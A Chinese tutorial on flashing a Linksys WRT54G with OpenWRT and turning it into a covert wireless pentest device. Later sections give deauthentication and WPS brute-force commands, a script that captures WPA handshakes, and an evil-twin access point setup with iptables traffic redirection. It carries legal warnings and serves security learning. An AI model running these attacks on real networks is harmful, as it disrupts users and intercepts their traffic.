
1. 项目概述为什么选择WRT54G与OpenWRT如果你对无线安全感兴趣或者想搭建一个便携、隐蔽且功能强大的渗透测试平台那么将一台老旧的Linksys WRT54G路由器刷入OpenWRT并将其打造成一个专用的无线渗透测试设备绝对是一个经典且极具性价比的选择。这个项目听起来有点“复古”毕竟WRT54G是2000年代初期的产品但恰恰是它的“老”和“经典”使其在安全社区中经久不衰。它功耗极低、体积小巧、价格低廉更重要的是其硬件架构通常是Broadcom或Atheros芯片经过社区十多年的打磨在OpenWRT上的支持已经非常完善和稳定。简单来说这个项目的核心就是“旧瓶装新酒”。我们利用OpenWRT这个高度模块化、可定制的开源路由器操作系统将一台普通家用路由器变成一个可以随身携带、即插即用的“黑客瑞士军刀”。它能做什么它可以作为无线网卡监听周围的Wi-Fi流量可以伪装成恶意热点进行中间人攻击测试可以部署扫描、嗅探、破解等多种安全工具甚至可以作为一个隐蔽的跳板或命令控制节点。对于安全研究人员、网络管理员或CTF爱好者来说亲手配置这样一台设备不仅能深入理解802.11协议和渗透测试流程更能获得一个极具实战价值的工具。接下来我将以一个从业者的角度带你从硬件选择、固件刷写、系统配置到工具部署完整地走一遍流程。我会重点分享那些官方文档里不会写的细节、踩过的坑以及让设备更“顺手”的独家技巧。2. 硬件准备与固件刷写从零开始的冒险2.1 硬件选择与确认你的WRT54G是哪个版本首先不是所有的WRT54G都能刷OpenWRT。这个系列型号众多硬件版本v1.0到v8.0等差异巨大主要区别在于CPU、内存和闪存。早期的版本如v1.0-v4.0通常基于Broadcom芯片拥有4MB的Flash和16MB RAM是刷机的“黄金标准”。后期版本为了降低成本硬件大幅缩水如v5.0以后可能只有2MB Flash可能无法运行完整的OpenWRT。行动前务必确认查看设备底部标签找到型号和版本号如“WRT54G v2.2”。查询兼容性访问OpenWRT官网的“Table of Hardware”输入你的型号版本查看是否被支持以及对应的固件文件。这是最关键的一步刷错固件会导致设备“变砖”。准备硬件除了路由器本身你还需要一台电脑、一根网线以及一个12V/1A的电源适配器。注意如果手头是v5.0以后的超低配版本建议放弃或将其仅用于最基础的桥接练习。我们的目标是构建一个功能丰富的测试平台因此推荐寻找v2.0-v4.0版本的设备它们在二手市场依然常见且价格极低。2.2 刷写OpenWRT固件两种路径与详细步骤为WRT54G刷机主要有两种方法通过原厂Web界面直接升级或通过TFTP方式强制刷入。前者更简单后者是救砖或初始刷写的终极手段。方法一Web界面直刷适用于从原厂固件或DD-WRT等第三方固件升级电脑用网线连接路由器的LAN口不要连WAN口设置电脑网卡为自动获取IPDHCP。浏览器访问原厂管理界面通常是192.168.1.1登录。在管理界面中找到“固件升级”或类似选项。选择你从OpenWRT官网下载的对应固件文件文件后缀通常是.bin或.trx。对于WRT54G你需要下载*-squashfs.bin文件因为squashfs文件系统在只读的Flash上更安全剩余空间可用于挂载OverlayFS一个可写的覆盖层。点击升级等待3-5分钟期间路由器会重启数次绝对不要断电或断开连接。升级完成后路由器IP可能会变为192.168.1.1OpenWRT默认。尝试访问该地址看到OpenWRT的LuCI Web界面或能SSH登录即成功。方法二TFTP强制刷机救砖或首次刷写当设备无法启动或没有Web界面时就需要TFTP。WRT54G有一个30/30/30硬重置法和TFTP恢复模式。电脑设置静态IP192.168.1.100子网掩码255.255.255.0。路由器断电用牙签或笔尖按住复位键Reset不放。给路由器通电继续按住复位键约30秒此时所有LAN口指示灯会一起闪烁。松开复位键。此时路由器处于恢复模式会通过TFTP从192.168.1.100寻找固件。在电脑上打开一个命令行窗口进入存放固件的目录。执行TFTP命令以Windows为例需先开启TFTP客户端功能tftp -i 192.168.1.1 PUT openwrt-xxx-squashfs.bin传输开始后等待几分钟路由器会自动刷入并重启。实操心得刷机过程中心态要稳。我第一次刷时在TFTP传输后等了快10分钟以为砖了差点就去拆机找JTAG接口了。实际上老设备闪存写入和校验速度慢耐心多等一会儿只要传输过程没报错成功的概率就很高。刷完后第一次启动也可能较慢。3. OpenWRT基础配置与网络设置成功刷入OpenWRT后我们首先需要进行基础配置为后续安装渗透测试工具打好地基。默认情况下OpenWRT可能没有Web界面LuCI我们需要通过SSH进行配置。3.1 初始登录与基础包安装SSH登录电脑网线连接LAN口设置自动获取IP。使用SSH客户端如PuTTY或终端连接192.168.1.1用户名为root初始密码为空直接回车即可进入。ssh root192.168.1.1修改密码登录后第一件事就是改密码使用passwd命令。更新软件源并安装LuCIOpenWRT使用opkg包管理器。首先更新列表然后安装LuCI Web管理界面和中文语言包。opkg update opkg install luci luci-i18n-base-zh-cn安装完成后重启uhttpd服务或直接重启路由器即可通过浏览器访问http://192.168.1.1看到中文Web界面。注意WRT54G的Flash空间非常紧张通常只剩1MB左右给软件包。安装LuCI会占用不少空间如果空间不足可以考虑只安装核心的LuCI包luci-base而不装主题或者干脆放弃Web界面全程使用SSH命令行操作。这对于渗透测试者来说反而是更轻量、更专业的选择。3.2 网络接口配置为监听与攻击做好准备我们的设备需要扮演多个角色可能是客户端连接到一个现有Wi-Fi也可能是AP创建一个测试热点还可能同时监听多个信道。这都需要正确配置网络接口。在OpenWRT中无线接口由wireless配置管理。编辑配置文件/etc/config/wireless。禁用默认无线初始配置可能已启用一个客户端或AP模式。我们先注释掉或删除所有wifi-iface段落从头开始。配置监听模式接口这是渗透测试的核心。我们需要将无线网卡设置为监听模式Monitor Mode。对于较老的mac80211驱动WRT54G常用可以这样添加一个监听接口config wifi-device radio0 # 无线设备通常是radio0 option type mac80211 option channel 11 # 可以指定一个信道或后面用工具切换 option hwmode 11g option path pci0000:00/0000:00:00.0 # 设备路径根据实际查询 config wifi-iface mon0 # 创建一个监听模式接口 option device radio0 option mode monitor # 关键模式设为monitor option ifname mon0保存后运行wifi reload或重启路由器。使用ifconfig或ip link命令应该能看到一个mon0接口。配置AP模式接口可选如果你想让它发射一个测试热点如用于创建恶意AP可以再添加一个wifi-iface将mode设为ap并设置SSID和加密或不加密。注意事项同时启用监听模式和AP模式对老设备压力较大可能不稳定。更常见的做法是需要AP功能时临时关闭监听接口启用AP接口。这可以通过写简单的脚本切换。3.3 系统优化与存储扩展WRT54G的硬件资源是最大瓶颈。我们必须精打细算。挂载OverlayFSOpenWRT系统本身是只读的所有安装的软件和修改的配置都存放在Overlay分区剩余Flash空间。使用df -h命令查看/overlay的挂载和使用情况。确保其已正确挂载且有空闲空间。使用外部存储这是强烈推荐的升级。通过USB口如果路由器有挂载一个U盘或者通过SD卡槽某些版本有扩展存储。将/opt或/home目录挂载到外部存储这样就能安装更多工具。安装USB驱动和文件系统支持包opkg install kmod-usb-storage block-mount kmod-fs-ext4格式化U盘为ext4在电脑上操作或通过路由器安装e2fsprogs后操作。在LuCI的“系统-挂载点”中配置自动挂载或者手动编辑/etc/config/fstab。将软件包安装路径指向外部存储创建/opt目录在U盘上然后使用opkg的-d参数指定安装目录或者更彻底地使用overlay扩容技术将整个/overlay迁移到U盘上。精简系统移除不必要的服务。例如如果不用IPv6可以移除相关模块。使用opkg list-installed查看已安装包移除如ppp、firewall如果测试环境不需要等。4. 渗透测试工具链的部署与配置硬件和系统就绪后就是安装核心工具了。由于存储空间有限我们必须精选工具。以下是我认为在WRT54G上最实用、最核心的工具集。4.1 无线扫描与探测工具airodump-ng这是Aircrack-ng套件中的王牌扫描工具。安装opkg install aircrack-ng使用它来捕获无线数据包、查看周围AP和客户端信息# 将网卡设置为监听模式如果配置文件中未自动生成mon0需手动设置 airmon-ng start wlan0 # 假设wlan0是物理接口这会创建mon0 # 开始扫描 airodump-ng mon0实操心得在资源受限的设备上airodump-ng可能会因为捕获大量数据而耗尽内存。一个技巧是使用-c参数指定特定信道扫描用--bssid过滤特定AP用-w将数据包写入U盘避免占用宝贵的内存和内部存储。washreaver用于探测和攻击WPSWi-Fi Protected Setup的工具。虽然现代路由器多已修复相关漏洞但对付一些老设备仍有奇效。opkg install reaver # 探测开启WPS的AP wash -i mon0 # 针对目标进行破解 reaver -i mon0 -b 目标BSSID -vv注意WPS破解是暴力枚举PIN码耗时极长对路由器压力大且不道德。仅在你自己拥有或获得明确授权的设备上测试。4.2 数据包注入与捕获工具aireplay-ng同样是Aircrack-ng套件成员用于生成数据包注入流量这是执行解除认证攻击、ARP重放攻击的关键。# 对特定客户端发起解除认证攻击迫使其重连并捕获握手包 aireplay-ng -0 10 -a AP的BSSID -c 客户端的MAC mon0参数-0表示解除认证攻击10是发送的数据包数量。tcpdump轻量级且功能强大的命令行抓包工具。OpenWRT通常已预装或可轻松安装。在监听接口上抓取特定数据非常有用。opkg install tcpdump # 捕获所有HTTP流量 tcpdump -i mon0 -w /tmp/capture.pcap port 804.3 密码破解与离线分析工具aircrack-ng用于破解WEP/WPA/WPA2-PSK密钥。破解过程通常在捕获到足够的数据包如WPA四次握手包后在另一台性能更强的电脑上进行。但也可以在路由器上尝试简单的字典攻击。# 尝试用字典破解cap文件中的握手包 aircrack-ng -w /path/to/wordlist.txt /path/to/capture.cap重要提示在WRT54G上运行复杂的字典破解几乎不可行它的CPU太弱。最佳实践是用WRT54G在目标附近隐蔽地捕获数据包.cap文件然后通过SCP将文件传回你的高性能电脑进行破解。这样既发挥了WRT54G便携、隐蔽的优势又规避了其算力不足的缺点。hashcat更强大的离线密码破解工具支持GPU加速。它显然无法在WRT54G上运行但它是整个工作流的一部分。你可以在电脑上使用hashcat来处理从路由器传回的握手包哈希。4.4 其他实用工具nmap网络发现和安全审计工具。安装一个精简版用于内网扫描。opkg install nmap nmap -sn 192.168.1.0/24 # 扫描网段内存活主机netcat(nc)网络的“瑞士军刀”用于读写TCP/UDP连接建立反向Shell等。dnsmasqOpenWRT自带的DHCP和DNS服务器。在搭建恶意AP时用于为连接的客户端分配IP和进行DNS欺骗。iptablesLinux内核的防火墙工具。用于在中间人攻击MITM中配置数据包转发、重定向如将HTTP流量重定向到透明代理。5. 实战场景配置与自动化脚本有了工具我们来看看如何组合它们来完成具体的渗透测试任务。这里以两个经典场景为例。5.1 场景一捕获WPA握手包这是无线渗透测试的基础课。目标是合法地捕获某个Wi-Fi网络的一个客户端与AP完成认证时的四次握手包用于后续离线破解。手动步骤扫描与锁定目标airodump-ng -c 6 --bssid 00:11:22:33:44:55 -w /mnt/usb/capture mon0这里-c 6指定信道--bssid过滤特定AP-w将数据包保存到U盘。等待或触发握手如果已经有活跃客户端静静等待即可。如果没有可以使用aireplay-ng发起解除认证攻击迫使已连接的客户端重连从而产生握手包。aireplay-ng -0 2 -a 00:11:22:33:44:55 -c AA:BB:CC:DD:EE:FF mon0验证捕获当airodump-ng右上角出现“WPA handshake: ”时表示握手包已成功捕获。按CtrlC停止捕获。传输文件将U盘上的capture-01.cap文件复制到你的电脑进行破解。自动化脚本我们可以将上述过程写成一个Shell脚本一键执行。#!/bin/sh # capture_handshake.sh TARGET_BSSID00:11:22:33:44:55 TARGET_CHANNEL6 CLIENT_MACAA:BB:CC:DD:EE:FF # 可选如果知道特定客户端 INTERFACEmon0 SAVE_PATH/mnt/usb echo [*] 开始扫描目标网络... # 启动后台扫描进程 airodump-ng -c $TARGET_CHANNEL --bssid $TARGET_BSSID -w $SAVE_PATH/capture $INTERFACE AIRODUMP_PID$! sleep 5 if [ -n $CLIENT_MAC ]; then echo [*] 对客户端 $CLIENT_MAC 发起解除认证攻击... aireplay-ng -0 5 -a $TARGET_BSSID -c $CLIENT_MAC $INTERFACE else echo [*] 等待现有客户端握手... (等待30秒) sleep 30 fi echo [*] 停止捕获... kill $AIRODUMP_PID echo [*] 检查是否捕获到握手包... # 简单的检查可以通过分析cap文件更精确 if aircrack-ng $SAVE_PATH/capture-01.cap 2/dev/null | grep -q WPA (1 handshake); then echo [] 成功捕获WPA握手包文件: $SAVE_PATH/capture-01.cap else echo [-] 未捕获到握手包请重试。 fi将这个脚本保存到路由器赋予执行权限(chmod x capture_handshake.sh)就可以快速执行了。5.2 场景二搭建简易恶意AP与中间人测试环境这个场景更复杂目的是创建一个开放的或仿冒的Wi-Fi热点诱使客户端连接然后进行流量监控或篡改测试。配置步骤创建AP接口编辑/etc/config/wireless添加一个AP配置。config wifi-iface ap0 option device radio0 option mode ap option ssid Free_Public_WiFi # 诱人的SSID option encryption none # 开放网络或使用wpa2加密仿冒 option ifname wlan0ap重启无线wifi reload。现在应该能搜到一个名为“Free_Public_WiFi”的热点。配置DHCP和DNS编辑/etc/config/dhcp为wlan0ap接口启用DHCP服务器分配一个IP段如192.168.2.0/24。启用IP转发编辑/etc/sysctl.conf设置net.ipv4.ip_forward1并执行sysctl -p生效。配置iptables进行流量转发与重定向# 允许数据包转发 iptables -P FORWARD ACCEPT # 设置NAT让客户端能通过路由器的WAN口如有上网 iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE # 假设eth0是WAN口 # 将客户端的HTTP流量(80端口)重定向到本机的8080端口假设我们在8080运行了一个代理 iptables -t nat -A PREROUTING -i wlan0ap -p tcp --dport 80 -j REDIRECT --to-port 8080部署中间人工具在路由器上安装并运行一个透明HTTP代理如mitmproxy或SSL剥离工具如sslstrip。由于WRT54G性能限制运行完整的mitmproxy可能吃力可以考虑更轻量的工具或只在电脑上进行分析。注意事项此配置仅用于授权的安全测试环境。在公共场合运行恶意AP是非法且不道德的。测试完成后务必清理iptables规则并关闭AP接口。6. 性能调优、问题排查与维护心得将WRT54G用作渗透测试平台最大的挑战就是性能。以下是我积累的一些调优和问题解决经验。6.1 性能瓶颈与优化策略CPU/内存瓶颈症状运行airodump-ng或注入攻击时系统卡顿SSH连接延迟高甚至断开。解决限制扫描范围不要全信道扫描用-c指定目标信道。减少写入将数据包捕获文件(-w)直接写到U盘避免频繁写内部Flash。使用轻量进程用tcpdump代替airodump-ng进行针对性抓包tcpdump的资源占用更低。监控状态使用top或htop需安装命令监控CPU和内存使用情况及时停止高负载进程。存储空间瓶颈症状opkg install失败提示空间不足。解决必须使用外部存储这是唯一的长久之计。按照3.3节的方法将U盘挂载为/overlay或/opt。清理包缓存opkg clean。移除内核模块如果确定不需要某些硬件驱动如USB打印机支持可以移除对应的kmod-*包。但需谨慎移除关键驱动可能导致设备无法启动。无线稳定性问题症状监听模式接口mon0频繁消失注入攻击失败。解决检查驱动确保使用的是稳定版的mac80211驱动。有些老设备可能需要特定的固件或驱动版本。降低功率过高的发射功率可能导致芯片过热或不稳定。在/etc/config/wireless中尝试设置option txpower 17单位dBm。单任务运行尽量避免让无线网卡同时工作在监听模式和AP模式交替使用。6.2 常见问题排查速查表问题现象可能原因排查步骤与解决方案刷机后无法启动所有灯常亮/微亮固件不兼容或刷写过程出错变砖1. 尝试30/30/30硬重置后TFTP重刷。2. 确认下载的固件文件与硬件版本完全匹配。3. 如果TFTP无效可能需要拆机使用JTAG线缆救砖不推荐新手。SSH可以登录但无法获取IP无法上网LAN口防火墙或DHCP服务未正确启动1. 检查/etc/config/network中LAN口配置。2. 检查/etc/config/firewall确保LAN到WAN的转发规则是accept。3. 重启network和firewall服务/etc/init.d/network restart; /etc/init.d/firewall restart。airodump-ng mon0不显示任何网络无线网卡未成功进入监听模式1.ifconfig查看mon0接口是否存在。2. 运行airmon-ng check kill杀死可能干扰的进程如wpa_supplicant,networkmanager。3. 检查/etc/config/wireless中监听接口的配置mode必须为monitor。4. 尝试手动创建iw phy0 interface add mon0 type monitor然后ifconfig mon0 up。aireplay-ng注入攻击失败提示“Got no data...”驱动不支持数据包注入或距离太远信号差1. 这是WRT54G的老大难问题。部分Broadcom芯片的官方驱动注入支持差。尝试使用-9注入测试模式aireplay-ng -9 mon0。2. 如果测试失败考虑更换为Atheros芯片的路由器如TP-Link WR703N其对监听和注入的支持通常更好。3. 确保物理距离足够近。安装软件包时提示“Out of memory”内存不足Swap未启用1. 创建一个Swap文件在U盘上dd if/dev/zero of/mnt/usb/swapfile bs1M count64创建64MB文件然后mkswap /mnt/usb/swapfileswapon /mnt/usb/swapfile。2. 将其加入/etc/rc.local实现开机自启。Web界面(LuCI)无法访问uhttpd服务未运行或端口被占用1. 通过SSH登录运行netstat -tlnp查看80端口是否被监听。2. 重启uhttpd服务/etc/init.d/uhttpd restart。3. 检查防火墙是否允许80端口入站。6.3 长期维护与进阶建议备份配置一旦系统配置稳定立即备份关键文件。最简单的方法是备份整个/etc目录。tar -czf /mnt/usb/openwrt_backup_$(date %Y%m%d).tar.gz /etc版本控制对于你编写的自动化脚本和自定义配置文件可以安装一个轻量级Git客户端如git将其推送到远程仓库如GitHub的私有仓库进行版本管理。考虑硬件升级如果你沉迷于此WRT54G的性能天花板很快就会触达。可以考虑升级到类似定位但性能更强的设备例如Raspberry Pi Zero W 无线网卡更灵活性能强得多社区支持极好。GL.iNet系列旅行路由器出厂即OpenWRT便携性能不错。旧笔记本电脑性能最强接口丰富但便携性和隐蔽性差。法律与道德底线最后也是最重要的提醒。所有这些技术和工具必须在你完全拥有或已获得明确书面授权的网络和设备上使用。未经授权对他人的网络进行扫描、攻击或窃听在任何国家和地区都是严重的违法行为。这个项目的目的应该是学习网络安全原理、进行防御性测试和提升自身技能。折腾这台老旧的WRT54G其价值远不止于得到一个渗透测试工具。整个过程迫使你去理解Linux系统、网络协议、无线驱动和硬件限制这种深入底层的实践经验是任何模拟器或高价商业工具都无法替代的。当你最终看到那小小的设备成功捕获到第一个握手包时那种成就感就是对这个项目最好的回报。